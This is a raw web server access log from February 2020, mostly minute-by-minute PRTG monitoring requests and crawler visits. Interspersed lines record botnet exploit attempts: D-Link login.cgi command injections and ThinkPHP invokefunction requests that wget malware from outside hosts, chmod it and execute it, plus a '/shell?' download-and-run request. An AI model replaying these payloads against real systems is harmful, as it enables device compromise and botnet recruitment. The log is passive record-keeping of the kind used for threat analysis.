212.91.246.72 - - [22/Feb/2020:15:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.36.197 - - [22/Feb/2020:15:16:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.85.91.19 - - [22/Feb/2020:15:16:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:15:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [22/Feb/2020:15:22:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:15:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [22/Feb/2020:15:23:36 +0100] "GET /console HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:15:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.50.7.159 - - [22/Feb/2020:15:27:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.75.26.68 - - [22/Feb/2020:15:27:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:15:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [22/Feb/2020:15:32:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [22/Feb/2020:15:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.109.211.69 - - [22/Feb/2020:15:38:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:15:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
100.38.236.91 - - [22/Feb/2020:15:42:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:15:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.30.57.221 - - [22/Feb/2020:15:43:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.30.57.221 - - [22/Feb/2020:15:43:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:15:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.50.6.160 - - [22/Feb/2020:15:46:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.75.118.223 - - [22/Feb/2020:15:46:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:15:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.166.179 - - [22/Feb/2020:15:46:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:15:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.50.6.160 - - [22/Feb/2020:15:51:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.75.85.103 - - [22/Feb/2020:15:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:15:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.133.26.23 - - [22/Feb/2020:15:52:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:15:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.104.198.4 - - [22/Feb/2020:15:53:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:15:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.196.100 - - [22/Feb/2020:15:55:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.100 - - [22/Feb/2020:15:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [22/Feb/2020:15:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.220.73 - - [22/Feb/2020:15:56:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:15:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [22/Feb/2020:15:59:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:15:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.186.94.173 - - [22/Feb/2020:16:01:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:16:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.112.221.150 - - [22/Feb/2020:16:03:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.64.39 - - [22/Feb/2020:16:05:36 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.74.64.39 - - [22/Feb/2020:16:05:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [22/Feb/2020:16:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.217.218.29 - - [22/Feb/2020:16:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.52.214.181 - - [22/Feb/2020:16:12:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:16:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [22/Feb/2020:16:13:20 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [22/Feb/2020:16:13:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [22/Feb/2020:16:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [22/Feb/2020:16:16:18 +0100] "GET /console HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:16:16:28 +0100] "GET /console HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:16:16:39 +0100] "GET /console HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.52.45.87 - - [22/Feb/2020:16:18:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.25.177.187 - - [22/Feb/2020:16:19:16 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [22/Feb/2020:16:19:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
59.7.155.141 - - [22/Feb/2020:16:19:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:16:19:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [22/Feb/2020:16:19:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.25.177.187 - - [22/Feb/2020:16:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [22/Feb/2020:16:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [22/Feb/2020:16:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [22/Feb/2020:16:19:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.25.177.187 - - [22/Feb/2020:16:20:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
59.7.155.141 - - [22/Feb/2020:16:20:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:16:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [22/Feb/2020:16:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [22/Feb/2020:16:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [22/Feb/2020:16:25:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
177.124.140.248 - - [22/Feb/2020:16:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.8.99.234 - - [22/Feb/2020:16:26:21 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [22/Feb/2020:16:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [22/Feb/2020:16:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.237.22.67 - - [22/Feb/2020:16:31:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:16:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.103.137.60 - - [22/Feb/2020:16:32:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:16:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [22/Feb/2020:16:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [22/Feb/2020:16:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [22/Feb/2020:16:33:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.121.98.231 - - [22/Feb/2020:16:34:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [22/Feb/2020:16:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.49.146.68 - - [22/Feb/2020:16:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
